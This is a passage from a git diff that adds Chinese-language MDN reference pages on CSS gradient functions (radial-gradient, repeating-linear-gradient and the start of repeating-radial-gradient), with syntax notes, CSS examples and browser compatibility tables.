<td>10</td> + <td>11.10{{property_prefix("-o")}}<sup>[5]</sup></td> + <td>5.1{{property_prefix("-webkit")}}<sup>[3]</sup></td> + </tr> + <tr> + <td>Standard syntax (using the <code>to</code> keyword)</td> + <td>{{CompatGeckoDesktop("16")}}</td> + <td>26.0 (537.27)</td> + <td>10</td> + <td>12.10</td> + <td>6.1</td> + </tr> + <tr> + <td>Interpolation hints (a percent without a color)</td> + <td>{{CompatGeckoDesktop("36")}}</td> + <td>40</td> + <td>{{CompatUnknown}}</td> + <td>27</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Unitless 0 for <code><angle></code></td> + <td>{{CompatGeckoDesktop("46")}}{{property_prefix("-moz")}}<sup>[7]</sup></td> + <td>{{CompatVersionUnknown}}</td> + <td>Edge 12</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> + +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera (Presto)</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> + <td>{{CompatGeckoMobile("1.9.2")}}{{property_prefix("-moz")}}<sup>[1]</sup><br> + {{CompatGeckoMobile("16")}}[2]</td> + <td>16{{property_prefix("-webkit")}}<br> + 26</td> + <td>10</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>On {{cssxref("border-radius")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>On any other property that accepts {{cssxref("<image>")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Legacy webkit syntax{{non-standard_inline}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Legacy 'from' syntax (without <code>to</code>){{non-standard_inline}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Standard syntax (using the <code>to</code> keyword)</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Interpolation hints (a percent without a color)</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> + +<p>[1] Gecko, Opera & Webkit consider {{cssxref("<angle>")}} to start to the right, instead of the top. I.e. it considered an angle of <code>0deg</code> as a direction indicator pointing to the right. This is different from the latest specification where an angle of <code>0deg</code> as a direction indicator points to the top. Since Firefox 42, the prefixed version of gradients can be disabled by setting <code>layout.css.prefixes.gradients</code> to <code>false</code>.</p> + +<p>[2] Before Gecko 36.0 {{geckoRelease("36.0")}}, Gecko didn't apply gradients on the pre-multiplied color space, leading to shades of grey unexpectedly appearing when used with transparency.</p> + +<p>[3] WebKit since 528 supports the legacy <a href="http://developer.apple.com/safari/library/documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html"><code>-webkit-gradient(linear,…)</code> function</a>. As of WebKit 534.16, it also supports the standard gradient syntax. Unlike in Gecko, in legacy WebKit you cannot specify both a position and an angle in <code>-webkit-linear-gradient()</code>. You can achieve the same effect by offsetting the color stops.</p> + +<p>[4] Internet Explorer 5.5 through 9.0 supports proprietary <a href="http://msdn.microsoft.com/en-us/library/ms532997(VS.85,loband).aspx"><code>filter: progid:DXImageTransform.Microsoft.Gradient()</code> filter</a>.</p> + +<p>[5] Firefox 3.6 and Opera 11.10 implemented, prefixed, an early syntax where the starting corner or side was indicated without the <code>to</code> keyword, and effectively considered as a 'from' position. The <code>to</code> syntax has been added in Firefox 10 and Opera 11.60.</p> + +<p>In addition to the unprefixed support using the standard syntax, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the function using the legacy 'from' syntax for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p> + +<p>[6] Opera & Webkit consider {{cssxref("<angle>")}} to start to the right, instead of the top. I.e. it considered an angle of <code>0deg</code> as a direction indicator pointing to the right. This is different from the latest specification where an angle of <code>0deg</code> as a direction indicator points to the top. Since Firefox 42, the prefixed version of gradients can be disabled by setting <code>layout.css.prefixes.gradients</code> to <code>false</code>. WebKit since 528 supports the legacy <a href="http://developer.apple.com/safari/library/documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html"><code>-webkit-gradient(linear,…)</code> function</a>. As of WebKit 534.16, it also supports the standard gradient syntax. Unlike in Gecko, in legacy WebKit you cannot specify both a position and an angle in <code>-webkit-linear-gradient()</code>. You can achieve the same effect by offsetting the color stops.</p> + +<p>[7] <code>linear-gradient(0, pink, teal)</code> equivalent to <code>linear-gradient(0deg, pink, teal)</code>,See {{bug("1239153")}}.</p> + +<h2 id="了解更多">了解更多</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Using CSS gradients</a>, {{cssxref("radial-gradient", "radial-gradient()")}}, {{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}, {{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}};</li> + <li>Some properties where it can be used: {{cssxref("background-image")}}, {{cssxref("background")}};</li> + <li><a href="http://lea.verou.me/css3patterns/">CSS Gradients Patterns Gallery, by Lea Verou</a></li> + <li><a href="http://standardista.com/cssgradients">CSS3 Gradients Library, by Estelle Weyl</a>.</li> +</ul> diff --git a/files/zh-cn/web/css/gradient/radial-gradient()/index.html b/files/zh-cn/web/css/gradient/radial-gradient()/index.html new file mode 100644 index 0000000000..78750ad563 --- /dev/null +++ b/files/zh-cn/web/css/gradient/radial-gradient()/index.html @@ -0,0 +1,196 @@ +--- +title: radial-gradient() +slug: Web/CSS/gradient/radial-gradient() +translation_of: Web/CSS/gradient/radial-gradient() +tags: + - CSS + - CSS Function + - CSS Images + - Function + - Graphics + - Layout + - Reference + - Web + - gradient +browser-compat: css.types.image.gradient.radial-gradient +--- +<p>{{CSSRef}}</p> + +<p> <code>radial-gradient()</code> CSS函数创建了一个图像,该图像是由从原点发出的两种或者多种颜色之间的逐步过渡组成。它的形状可以是圆形(circle)或椭圆形(ellipse)。这个方法得到的是一个CSS{{cssxref("<gradient>")}}数据类型的对象,其是 {{cssxref("<image>")}} 的一种。</p> + +<p>{{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}</p> + +<p>与其它渐变相同,径向渐变是一个<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/image#no_intrinsic">不固定尺寸</a>的图像,即,它没有首选的大小,也没有首选的比例。具体大小将由它所应用的元素的大小决定。</p> + +<p>如要创建重复的径向渐变来填充容器,请使用CSS的{{ Cssxref("repeating-radial-gradient") }} 方法。</p> + +<p>因为 <code><gradient></code> 属于 <code><image></code> 类型,所以它可以用于任何适用于 <code><image></code> 的地方。正是因为这样,<code>radial-gradient()</code> 不能用于 {{Cssxref("background-color")}} 和其他属性比如 {{cssxref("<color>")}} 数据类型。</p> + +<h2 id="radial_gradient_的组成">radial gradient 的组成</h2> + +<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">径向渐变(Radial gradients)由其<em>中心点</em>、<em>边缘形状</em>轮廓、<em>两个或多个色值结束点(color stops)</em>定义而成。 </p> + +<p>为了创建平滑的渐变,径向渐变函数绘制了一系列从中心点放射到边缘形状(甚至可能超出范围)的同心轮廓。边缘形状可以是圆形(circle)或椭圆形(ellipse)。</p> + +<p>色彩结束点位于虚拟渐变射线(Virtual gradient ray)上,该渐变射线从中心点水平向右延伸。 基于百分比的色彩结束位置是相对于边缘形状和此渐变射线之间的交点(代表100%)。 每个形状都是一种单色,并由其相交的渐变射线上的颜色确定。</p> + +<h2 id="语法">语法</h2> + +<pre class="notranslate"><code>/* A gradient at the center of its container, + starting red, changing to blue, and finishing green */ +radial-gradient(circle at center, red 0, blue, green 100%)</code></pre> + +<h3 id="值">值</h3> + +<dl> + <dt><code>{{cssxref("<position>")}}</code></dt> + <dd>{{ cssxref("<position>") }}与{{ Cssxref("background-position") }}或者{{ Cssxref("transform-origin") }}类似。如缺省,默认为中心点。</dd> + <dt><code><shape></code></dt> + <dd>渐变的形状。圆形(渐变的形状是一个半径不变的正圆)或椭圆形(轴对称椭圆)。默认值为椭圆。</dd> + <dt><code><size></code></dt> + <dd>渐变的尺寸大小。包含的值见下表{{ anch("尺寸常数表") }}。</dd> + <dt><code><color-stop></code></dt> + <dd>表示某个确定位置的固定色值,包含一个{{cssxref("<color>")}}值加上可选的位置值(相对虚拟渐变射线的{{cssxref("<percentage>")}}或者{{cssxref("<length>")}}长度值)。 百分比值<code>0%</code>,或者长度值<code>0</code>,表示渐变中心点;百分比值<code>100%</code>表示渐变射线与边缘形状相交的点。 其间的百分比值线性对应渐变射线上的点。</dd> + <dt><code><extent-keyword></code></dt> + <dd>关键字用于描述边缘轮廓的具体位置。以下为关键字常量:</dd> + <dd> + <table class="standard-table"> + <tbody> + <tr> + <th>常量</th> + <th>描述</th> + </tr> + <tr> + <td><code>closest-side</code></td> + <td>渐变的边缘形状与容器距离渐变中心点最近的一边相切(圆形)或者至少与距离渐变中心点最近的垂直和水平边相切(椭圆)。</td> + </tr> + <tr> + <td><code>closest-corner</code></td> + <td>渐变的边缘形状与容器距离渐变中心点最近的一个角相交。</td> + </tr> + <tr> + <td><code>farthest-side</code></td> + <td>与closest-side相反,边缘形状与容器距离渐变中心点最远的一边相切(或最远的垂直和水平边)。</td> + </tr> + <tr> + <td><code>farthest-corner</code></td> + <td>渐变的边缘形状与容器距离渐变中心点最远的一个角相交。</td> + </tr> + </tbody> + </table> + + <div class="blockIndicator note"> + <p>注意:该函数的早期实现还包含其他关键字( <code>cover</code> 和 <code>contain</code>),分别相当于标准关键字 <span class="st"><code>farthest-corner</code></span> 和 <code>closest-side</code> 。但因为在某些实现中丢弃了这些旧的关键字,所以请仅使用标准关键字。</p> + </div> + </dd> + <dt><code><linear-color-stop></code></dt> + <dd>A color-stop's {{cssxref("<color>")}} value, followed by an one or two optional stop positions (either a {{cssxref("<percentage>")}} or a {{cssxref("<length>")}} along the gradient's axis). A percentage of <code>0%</code>, or a length of <code>0</code>, represents the center of the gradient; the value <code>100%</code> represents the intersection of the ending shape with the virtual gradient ray. Percentage values in between are linearly positioned on the gradient ray. Including two stop positions is equivalent to declaring two color stops with the same color at the two positions.</dd> + <dt><code><color-hint></code></dt> + <dd>Th color-hint is an interpolation hint defining how the gradient progresses between adjacent color stops. The length defines at which point between two color stops the gradient color should reach the midpoint of the color transition. If omitted, the midpoint of the color transition is the midpoint between two color stops.</dd> + <dt> + <h3 id="Formal_syntax">Formal syntax</h3> + + <pre class="notranslate">radial-gradient( + [ [ circle || <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/length"><length></a> ] [ at <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/position_value"><position></a> ]? , | + [ ellipse || [ <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/length"><length></a> | <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/percentage"><percentage></a> ]{2} ] [ at <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/position_value"><position></a> ]? , | + [ [ circle | ellipse ] || <extent-keyword> ] [at <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/position_value"><position></a> ]? , | + at <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/position_value"><position></a> , + ]? + <color-stop-list> [ , <color-stop-list> ]+ +) +where <extent-keyword> = closest-corner | closest-side | farthest-corner | farthest-side + and <color-stop-list> = [ <linear-color-stop> [, <color-hint>? ]? ]#, <linear-color-stop> + and <linear-color-stop> = <color> [ <color-stop-length> ]? + and <color-stop-length> = [ <percentage> | <length> ]{1,2} + and <color-hint> = [ <percentage> | <length> ] +</pre> + + <div class="blockIndicator warning"> + <p>Note that negative <code><length></code>'s are not allowed, however browsers had implemented negative lengths which are now being removed. <a href="https://www.fxsitecompat.dev/en-CA/docs/2019/css-radial-gradients-no-longer-accept-negative-radii/">See the Firefox site compat note</a>.</p> + </div> + </dt> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="Simple_gradient">Simple gradient</h3> + +<div class="hidden"> +<pre class="brush: html notranslate"><div class="radial-gradient"></div> +</pre> + +<pre class="brush: css notranslate">.radial-gradient { + width: 240px; + height: 120px; +}</pre> +</div> + +<pre class="brush: css notranslate">.radial-gradient { + background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%); +} </pre> + +<p>{{EmbedLiveSample('Simple_gradient', 120, 120)}}</p> + +<h3 id="Non-centered_gradient">Non-centered gradient</h3> + +<div class="hidden"> +<pre class="brush: html notranslate"><div class="radial-gradient"></div> +</pre> + +<pre class="brush: css notranslate">.radial-gradient { + width: 240px; + height: 120px; +}</pre> +</div> + +<pre class="brush: css notranslate">.radial-gradient { + background-image: radial-gradient(farthest-corner at 40px 40px, + #f35 0%, #43e 100%); +}</pre> + +<p>{{EmbedLiveSample('Non-centered_gradient', 240, 120)}}</p> + +<div class="note"> +<p><strong>Note:</strong> Please see <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Using CSS gradients</a> for more examples.</p> +</div> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Images', '#radial-gradients', 'radial-gradients()')}}</td> + <td>{{Spec2('CSS3 Images')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<div>{{Compat("css.types.image.gradient.radial-gradient")}}</div> + +<h3 id="Quantum_CSS_notes">Quantum CSS notes</h3> + +<p>Gecko used to have a long-standing bug whereby radial gradients like <code>radial-gradient(circle gold,red)</code> would work, even though they shouldn't because of the missing comma between <code>circle</code> and <code>gold</code>. Also, {{cssxref("calc")}} expressions were rejected — causing the value to be invalid — when used as the radius component of a <code>radial-gradient()</code> function ({{bug(1376019)}}). Firefox's new parallel CSS engine (also known as <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> or <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, released in Firefox 57) fixed these bugs.</p> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Using CSS gradients</a></li> + <li>Other gradient functions: {{cssxref("repeating-radial-gradient")}}, {{cssxref("linear-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-conic-gradient")}}</li> + <li>{{cssxref("<image>")}}</li> + <li>{{cssxref("_image","image()")}}</li> + <li>{{cssxref("element()")}}</li> + <li>{{cssxref("image-set","image-set()")}}</li> + <li>{{cssxref("cross-fade")}}</li> +</ul> diff --git a/files/zh-cn/web/css/gradient/repeating-linear-gradient()/index.html b/files/zh-cn/web/css/gradient/repeating-linear-gradient()/index.html new file mode 100644 index 0000000000..c4dd9fc55d --- /dev/null +++ b/files/zh-cn/web/css/gradient/repeating-linear-gradient()/index.html @@ -0,0 +1,307 @@ +--- +title: repeating-linear-gradient() +slug: Web/CSS/gradient/repeating-linear-gradient() +translation_of: Web/CSS/gradient/repeating-linear-gradient() +tags: + - CSS + - CSS Function + - CSS Images + - Function + - Gradients + - Graphics + - Layout + - Reference + - Web +browser-compat: css.types.image.gradient.repeating-linear-gradient +--- +<div>{{CSSRef}}</div> + +<p>CSS函数 <strong><code>repeating-linear-gradient()</code></strong> 创建一个由重复线性渐变组成的{{cssxref("<image>")}}, 这是一个类似 {{cssxref("linear-gradient")}} 的函数,并且采用相同的参数,但是它会在所有方向上重复渐变以覆盖其整个容器. 这个函数的结果是一个{{cssxref("<gradient>")}} 数据类型的对象, 这是一个特殊的{{cssxref("<image>")}}类型。</p> + +<pre class="brush: css no-line-numbers notranslate">/* 一个倾斜45度的重复线性渐变, + 从蓝色开始渐变到红色 */ +repeating-linear-gradient(45deg, blue, red); + +/* 一个从右下角到左上角的重复线性渐变, + 从蓝色开始渐变到红色 */ +repeating-linear-gradient(to left top, blue, red); + +/* 一个由下至上的重复线性渐变, + 从蓝色开始,40%后变绿, + 最后渐变到红色 */ +repeating-linear-gradient(0deg, blue, green 40%, red); +</pre> + +<p> </p> + +<p>每次重复时,色标位置的偏移量都是基准渐变长度(最后一个色标和第一个之间的距离)的倍数。因此,最后色标的色值应该与第一个色标的色值保持一致;如果不一致的话,会导致非常突兀的渐变效果。</p> + +<p>与其他渐变一样,线形重复渐变没有提供 <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">固定的尺寸</a>;即, 它没有原始尺寸或首选尺寸,也没有首选的比列。它将自适应于对应元素的尺寸。</p> + +<div class="note"> +<p><strong>提示:</strong> 因为 <code><gradient></code> 属于<code><image></code> 数据类型,所以只能在可以使用 <code><image></code>的地方使用它们。因此<code>repeating-linear-gradient()</code> 不适用于{{Cssxref("background-color")}}以及使用 {{cssxref("<color>")}} 数据类型的地方。</p> +</div> + +<h2 id="语法">语法</h2> + +<h3 id="值">值</h3> + +<dl> + <dt><code><side-or-corner></code></dt> + <dd>描述渐变线的起始点位置。它包含两个关键词:第一个指出垂直位置left or right,第二个指出水平位置top or bottom。关键词的先后顺序无影响,且都是可选的。</dd> + <dd><br> + to top, to bottom, to left 和 to right这些值会被转换成角度0度、180度、270度和90度。其余值会被转换为一个以向顶部中央方向为起点顺时针旋转的角度。渐变线的结束点与其起点中心对称。</dd> + <dt>{{cssxref("<angle>")}}</dt> + <dd>用角度值指定渐变的方向(或角度)。角度顺时针增加。 </dd> + <dt><code><color-stop></code></dt> + <dd>由一个{{cssxref("<color>")}}值组成,并且跟随着一个可选的终点位置(可以是一个{{cssxref("<percentage>")}}或者是沿着渐变轴的{{cssxref("<length>")}})。CSS渐变的颜色渲染采取了与SVG相同的规则。</dd> + <dd> + <div class="note"> + <p><strong>提示:</strong>渲染颜色中间点的规则<a href="#Gradient_with_multiple_color_stops">CSS渐变中的色标</a> 与<a href="/en-US/docs/Web/SVG/Tutorial/Gradients">SVG渐变</a>一致.</p> + </div> + </dd> +</dl> + +<h3 id="形式语法">形式语法</h3> + +<pre class="syntaxbox notranslate">repeating-linear-gradient( [ <a href="/en-US/CSS/angle"><angle></a> | to <side-or-corner> ,]? <color-stop> [, <color-stop>]+ ) + \---------------------------------/ \----------------------------/ + 渐变轴的定义 色标列表 + +where <code><side-or-corner> = [left | right] || [top | bottom]</code> + and <code><color-stop> = <color> [ <percentage> | <length> ]?</code> +</pre> + +<h2 id="示例">示例</h2> + +<div id="Example_shown"> +<pre class="brush: css notranslate">#grad1 { + background-image: repeating-linear-gradient(180deg, + rgb(26,198,204), + rgb(26,198,204) 7%, + rgb(100,100,100) 10%); +} + +#grad2 { + background-image: repeating-linear-gradient(-45deg, + transparent, + transparent 25px, + rgba(255,255,255,1) 25px, + rgba(255,255,255,1) 50px); +} +</pre> + +<pre class="brush: html notranslate"><ol> + <li>Repeating horizontal bars + <div id="grad1"></div> + </li> + <li>Zebra stripes + <div id="grad2"></div> + </li> +</ol></pre> +</div> + +<div id="Example_hidden" class="hidden"> +<pre class="brush: css notranslate">div { + display: block; + width: 50%; + height: 80px; + border-color: #000000; + padding: 10px; +} + +#grad1 { + background-image: -moz-repeating-linear-gradient(180deg,rgb(26,198,204),rgb(26,198,204) 7%, rgb(100,100,100) 10%); + background-image: -webkit-repeating-linear-gradient(180deg,rgb(26,198,204),rgb(26,198,204) 7%, rgb(100,100,100) 10%); + background-image: -o-repeating-linear-gradient(180deg,rgb(26,198,204),rgb(26,198,204) 7%, rgb(100,100,100) 10%); + background-image: repeating-linear-gradient(180deg,rgb(26,198,204),rgb(26,198,204) 7%, rgb(100,100,100) 10%); +} + +#grad2 { + background-color: black; + background-image: -moz-repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); + background-image: -webkit-repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); + background-image: -o-repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); + background-image: -ms-repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); + background-image: repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); +} +</pre> + +<pre class="brush: html notranslate"><ol> + <li>repeating gradient + <div id="grad1"></div> + </li> + <li>Zebra pattern + <div id="grad2"></div> + </li> +</ol></pre> +</div> + +<p>{{EmbedLiveSample('Example_hidden', '300px', '300px', '')}}</p> + +<h2 id="规格">规格</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规格</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Images', '#repeating-gradients', 'repeating-linear-gradient()')}}</td> + <td>{{Spec2('CSS3 Images')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> + <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[3]</sup><br> + {{CompatGeckoDesktop("16")}}<sup>[5]</sup></td> + <td>10.0 (534.16){{property_prefix("-webkit")}} <sup>[2]</sup><sup>[3]</sup></td> + <td>10.0 <sup>[1]</sup></td> + <td>11.10{{property_prefix("-o")}} <sup>[3]</sup></td> + <td>5.1{{property_prefix("-webkit")}}<sup>[2]</sup><sup>[3]</sup></td> + </tr> + <tr> + <td>On {{cssxref("border-radius")}}</td> + <td>{{CompatGeckoDesktop("29")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>On any other property that accept {{cssxref("<image>")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><a class="external" href="http://www.webkit.org/blog/175/introducing-css-gradients/">Legacy webkit syntax</a>{{non-standard_inline}}</td> + <td>{{CompatNo}}</td> + <td>3{{property_prefix("-webkit")}} <sup>[2]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>4.0{{property_prefix("-webkit")}}<sup>[2]</sup></td> + </tr> + <tr> + <td>Legacy <em>from </em>syntax (without <code>to</code>){{non-standard_inline}}</td> + <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[4]</sup><br> + Removed in {{CompatGeckoDesktop("16")}}<sup>[7]</sup></td> + <td>10.0 (534.16){{property_prefix("-webkit")}} <sup>[2]</sup></td> + <td>10.0</td> + <td>11.10{{property_prefix("-o")}}<sup>[4]</sup></td> + <td>5.1{{property_prefix("-webkit")}}<sup><a href="#bc2%3E">[2]</a></sup></td> + </tr> + <tr> + <td><code>to</code> syntax</td> + <td>{{CompatGeckoDesktop("10")}}{{property_prefix("-moz")}}<sup>[4]</sup><br> + {{CompatGeckoDesktop("16")}}</td> + <td>26.0</td> + <td>10.0</td> + <td>11.60{{property_prefix("-o")}}<sup>[4]</sup><br> + Presto 2.12 will remove the prefix.</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><a href="https://drafts.csswg.org/css-images-4/#color-interpolation-hint">Interpolation hints/gradient midpoints</a> (a percent without a color)</td> + <td>{{CompatGeckoDesktop("36")}}</td> + <td><a href="https://code.google.com/p/chromium/issues/detail?id=420527">40</a></td> + <td>{{CompatUnknown}}</td> + <td>27</td> + <td>{{CompatVersionUnknown}}<sup><a href="#bc2%3E">[6]</a></sup></td> + </tr> + <tr> + <td>Unitless 0 for <code><angle></code></td> + <td>{{CompatGeckoDesktop("46")}}{{property_prefix("-webkit")}}<sup>[8]</sup><br> + {{CompatNo}}<sup>[9]</sup></td> + <td>{{CompatVersionUnknown}}</td> + <td>Edge 12</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera (Presto)</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoMobile("1.9.2")}}{{property_prefix("-moz")}}<sup>[3]</sup><br> + {{CompatGeckoMobile("16")}}<sup>[5]</sup></td> + <td> + <p>16{{property_prefix("-webkit")}}<br> + 26</p> + </td> + <td>10</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}<sup><a href="#bc2%3E">[6]</a></sup></td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Internet Explorer 5.5 through 9.0 supports proprietary <a class="external" href="http://msdn.microsoft.com/en-us/library/ms532997(VS.85,loband).aspx"><code>filter: progid:DXImageTransform.Microsoft.Gradient()</code> filter</a>.</p> + +<p>[2] WebKit since 528 supports the legacy <a class="external" href="http://developer.apple.com/safari/library/documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html"><code>-webkit-gradient(linear,…)</code> function</a>. As of WebKit 534.16, it also supports the standard gradient syntax. Unlike in Gecko, in legacy WebKit you cannot specify both a position and angle in <code>-webkit-linear-gradient()</code>. You can achieve the same effect by offsetting the color stops.</p> + +<p>[3] Gecko, Opera & Webkit considers {{cssxref("<angle>")}} to start to the right, instead of the top. I.e. it considered an angle of <code>0deg</code> as a direction indicator pointing to the right. This is different from the latest specification where an angle of <code>0deg</code> as a direction indicator points to the top. Since Firefox 42, the prefixed version of gradients can be disabled by setting <code>layout.css.prefixes.gradients</code> to <code>false</code>.</p> + +<p>[4] Firefox 3.6 and Opera 11.10 implemented, prefixed, an early syntax where the starting corner or side was indicated without the <code>to</code> keyword, and effectively considered as a <em>from</em> position. The <code>to</code> syntax has been added in Firefox 10 and Opera 11.60 , at first without removing the deprecated syntax and translation between the two is trivial:</p> + +<pre class="notranslate">-moz-repeating-linear-gradient(to top left, blue, red);</pre> + +<p>is the same as:</p> + +<pre class="notranslate">-moz-repeating-linear-gradient(bottom right, blue, red);</pre> + +<p>The legacy syntax, without <code>to</code>, is planned to go away when the prefix is removed.</p> + +<p>[5] Before Firefox 36, Gecko didn't apply gradient on the pre-multiplied color space, leading to shade of grey unexpectedly appearing when used with transparency.</p> + +<p>[6] {{webkitbug(1074056)}}.</p> + +<p>[7] In addition to the unprefixed support using the standard syntax, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the function using the legacy 'from' syntax for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p> + +<p>[8] In <code>-webkit-linear-gradient </code>function (handled below), Gecko accept unitless 0 for angles, to match webkit/blink,See {{bug("1239153")}}.</p> + +<p>[9] See {{bug("1363292")}}.</p> + +<h2 id="了解更多">了解更多</h2> + +<ul> + <li><a href="/en/CSS/Using_CSS_gradients">使用CSS渐变</a></li> + <li>其他渐变方法: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-radial-gradient")}}</li> +</ul> diff --git a/files/zh-cn/web/css/gradient/repeating-radial-gradient()/index.html b/files/zh-cn/web/css/gradient/repeating-radial-gradient()/index.html new file mode 100644 index 0000000000..8ca073bbd8 --- /dev/null +++ b/files/zh-cn/web/css/gradient/repeating-radial-gradient()/index.html @@ -0,0 +1,273 @@ +--- +title: repeating-radial-gradient() +slug: Web/CSS/gradient/repeating-radial-gradient() +translation_of: Web/CSS/gradient/repeating-radial-gradient() +tags: + - CSS + - CSS Function + - CSS Images + - Function + - Gradients + - Graphics + - Layout + - Reference + - Web +browser-compat: css.types.image.gradient.repeating-radial-gradient +--- +<div>{{CSSRef}}</div> + +<p>CSS函数<strong><code>repeating-radial-gradient()</code></strong> 创建一个从原点辐射的重复渐变组成的{{cssxref("<image>")}} 。它类似于{{cssxref("radial-gradient")}} 